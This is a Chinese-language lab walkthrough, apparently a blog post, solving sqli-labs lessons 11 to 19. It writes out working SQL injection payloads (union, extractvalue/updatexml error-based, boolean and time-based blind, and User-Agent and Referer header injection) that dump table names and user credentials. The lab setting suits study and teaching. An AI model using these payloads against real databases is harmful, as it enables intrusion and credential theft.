在Less1-7文章可发现,常见的在url输入
'
')
'))
''
'')
''))
用来尝试发现注入点,那么在Less11我们看看界面为这样
发现这跟Less1-7不一样,出现username,password还有提交submit,那么按照less1-7的经验在url输入?id=1或者?id=1'会怎么样呢,那么试一下看看发生什么
似乎并没有什么变化反应,那么在username,password输入1或者1'之类的看看会怎么样,那么借助burpsuite工具用来观察
这说登录失败,那么试试输入1'呢
那么这发现报错了,那么这可能会有注入点
那么这在username,password两文本框输入了1'那么只在username或者password输入1'另外一个为空会怎样呢
还是报错那么猜测一下这源代码的语句为
select username, password from 某表 where username='用户输入' and password='用户输入' limit 0,1
那么输入1'就报错了,不过这样就可利用这来报错注入
select username, password from 某表 where username='1’' and password=' ' limit 0,1
那么根据Less1-7的文章,我们这来看看回显位有几列,发现order by 2这个情况登陆失败
这#代表注释,也可用--+,就看想用哪个了
那么oder by 3的时候发现报错了,可知这回显列为2列
根据Less1-7的文章,那么爆数据库
uname=-1' union select 1,database()#&passwd=1&submit=Submit
爆表名
uname=-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema='security' #&passwd=1&submit=Submit
爆字段、uname=-1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users'
爆数据
uname=-1' union select 1,group_concat(username,password) from users #&passwd=&submit=Submit
好啦那这篇Less11就通过了
Less12
那么有了Less11的经验,我们试着在username输入1或者1'或者1')或者1'))或者1"或者1")或者1"))那么password为空
发现输入1"或者1")或者1"))的时候会报错,分别像这样
根据提示猜测输入1"的时候注入成功,那么我们输入1" order by 2#或者1") order by 2#或者1")) order by 2#发现输入1") order by 2#为登录失败却没有报错,输入起他的会报错,那么猜测注入1")的时候注入成功而不是1" 那么将2改为3发现果然如此
爆数据库
uname=-1") union select 1,database()#&passwd=&submit=Submit
爆表名
uname=-1") union select 1, group_concat(table_name) from information_schema.tables where table_schema='security'#&passwd=&submit=Submit
爆字段
uname=-1") union select 1,group_concat(column_name) from information_schema.columns where table_name='users'#&passwd=&submit=Submit
爆数据
uname=-1") union select 1,group_concat(username,password) from users#&passwd=&submit=Submit
Less13
试试在username输入1或者1'或者1')或者1'))或者1"或者1")或者1"))那么password为空,发现输入1'或者1')或者1'))的时候会报错,那么通过Less12文章的order by命令发现输入1')的时候是能注入的,不过爆数据库uname=-1') union select 1,database()#&passwd=&submit=Submit的情况和Less12不一样,虽然登录成功却没显示
那么可知union注入是不会显示了,那得换别的方式,什么是盲注?盲注就是在注入过程中,数据不能回显示至前端页面,盲注大致分为三类:
1、基于布尔的盲注-逻辑判断 ascii,left
2、基于时间的盲注-延时判断 if,sleep
3、基于报错的盲注-报错回显 updatexml,extractvalue
那么想让数据显示前端尝试下extractvalue来报错注入吧
爆库
uname=1') and extractvalue(1,concat(0x7e,(select database())))#&passwd=&submit=Submit
//1,concat的1并无实际含义,作为无效xml文档参数导致extractvalue()函数解析xml文档发生错误,这样就好用来报错注入,那么concat()的作用为将字符串参数拼接,比如将十六进制字符串0x7e对应的ascii字符为~,另一个是(select database())的结果将这两个拼接在一起
爆表
uname=1') and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security')))#&passwd=&submit=Submit
爆字段
uname=1') and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users')))#&passwd=&submit=Submit
//没username,password对吧,那么加个right(),32)看看怎么样
uname=1') and extractvalue(1,right(concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users')),32))#&passwd=&submit=Submit
//右侧末32字符
爆数据
uname=1') and extractvalue(1, right(concat(0x7e,(select (group_concat(username,password)) from users),0x7e),32))#&passwd=&submit=Submit
//然后可将32修改为其它想要修改的数字
Less14
步骤和Less13一样,只是注入点由')变为"
举个例子爆表名为这样
uname=1" union select 1, group_concat(table_name) from information_schema.tables where table_schema='security'#&passwd=&submit=Submit
Less15
发现输入或者1'或者1')或者1'))或者1"或者1")或者1"))没反应,那么根据做题的经验,可能是union注入和报错注入不管用了,那么试试时间盲注或者布尔盲注吧
uname=1 and sleep(5)#&passwd=&submit=Submit
uname=1' and sleep(5)#&passwd=&submit=Submit
uname=1" and sleep(5)#&passwd=&submit=Submit
发现输入这些还有1')或者1'))或者1")或者1"))没一个有延时反应或者登录成功的,跟?id=1 and sleep(5)不一样,也许username,password的id都一样造成条件为false,不过不知道注入点怎么办,那再试试“万能语句”看看,构成一个or函数让两边条件都为true
uname=1 or 1=1#&passwd=&submit=Submit
uname=1' or 1=1#&passwd=&submit=Submit
发现注入点为'的时候登录成功
试试布尔盲注吧
uname=1' or left(database(),1)>'a' -- #&passwd=1&passwd=&submit=Submit 返回正确
uname=1' or left(database(),1)>'s' -- #&passwd=1&passwd=&submit=Submit 返回错误
uname=1' or left(database(),1)='s' -- #&passwd=1&passwd=&submit=Submit 返回正确
布尔注入
表名:1' or (select ascii(substr((group_concat(table_name)),1,1)) from information_schema.tables where table_schema=database())>0 #
列名长度:1' or (select length(group_concat(column_name)) from information_schema.columns where table_schema=database() and table_name='users')>0 #
表名长度:1' or (select length(group_concat(table_name)) from information_schema.tables where table_schema=database())>0 #
列名:1' or (select ascii(substr((group_concat(column_name)),1,1)) from information_schema.columns where table_schema=database() and table_name='users')>0 #
数据长度:1' or (select length(group_concat(username,0x3a,password)) from users)>0 #
数据:1' or (select ascii(substr((group_concat(username,0x3a,password)),1,1)) from users)>0 #
Less16
过程与Less15一样,只是注入点用了")
Less17
试试在username那union注入还有extractvalue报错注入显示为
显然传统的方法不管用了,发现页面显示为[PASSEORD RESET] Dhakkan那么尝试将uname写为Dhakkan然后尝试下union注入发现会语法错误,那么再试试extractvalue报错注入,注入点为'
uname=Dhakkan&passwd=1' and extractvalue(1,concat(0x7e,(select database())))#&submit=Submit
那么这个成功爆出库名了
爆表名
uname=Dhakkan&passwd=1' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security')))#&submit=Submit
爆数据
uname=Dhakkan&passwd=1' and updatexml(1,concat(0x7e,(select group_concat(username,password) from users)),1)#&submit=Submit
不过这个错误了,也许是有什么限制,并未解决
查阅信息后可用concat_ws函数,和concat()一样,将多个字符串连接成一个字符串,但是可以一次指定分隔符,利用一个查询从另一个查询中取出数据,以此绕过表的限制
uname=admin&passwd=' OR (updatexml(1,concat('!',(SELECT concat_ws(':',username,password) FROM (SELECT username,password FROM users)text LIMIT 0,1)),1))#submit=submit
修改limit的数字可取出别的行的查询结果
uname=admin&passwd=' OR (updatexml(1,concat('!',(SELECT concat_ws(':',username,password) FROM (SELECT username,password FROM users)text LIMIT 1,1)),1))#submit=submit
Less18
输入1或者1'或者1')或者1'))或者1"或者1")或者1"))之类的登录失败
那么试试uname=admin&passwd=admin&submit=Submit看看会不会有什么提示
猜测user-agent会不会有注入点
输入'或者’#的时候会报错,输入''的时候没报错,也许成功了
那么试试updatexml报错注入语句,使用单引号闭合两侧的 Sql 语句时,相当于把它分割成了 2 部分,试试用or来连接
User-Agent: ' OR updatexml(1,concat("!",database()),2) OR '
爆表名
User-Agent: ' OR updatexml(1,concat("!",(SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema = 'security')),2) OR '
爆字段名
User-Agent: ' OR updatexml(1,concat("!",(SELECT group_concat(column_name) FROM information_schema.columns WHERE table_schema = 'security' AND table_name = 'users')),2) OR '
然后按照Less17爆数据
User-Agent: ' OR (updatexml(1,concat('!',(SELECT concat_ws(':',username,password) FROM (SELECT username,password FROM users)text LIMIT 0,1)),1)) OR '
Less19
输入1或者1'或者1')或者1'))或者1"或者1")或者1"))之类的登录失败,那么尝试两文本框输入admin看看会不会有提示发现了refer提示,refer输入''闭合成功
步骤和Less17差不多
Referer: ' OR extractvalue(1,concat("!",database())) OR '
Referer: ' OR extractvalue(1,concat("!",(SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema = 'security'))) OR '
Referer: ' OR extractvalue(1,concat("!",(SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema = 'security'))) OR '
Referer: ' OR extractvalue(1,concat("!",(SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema = 'security'))) OR '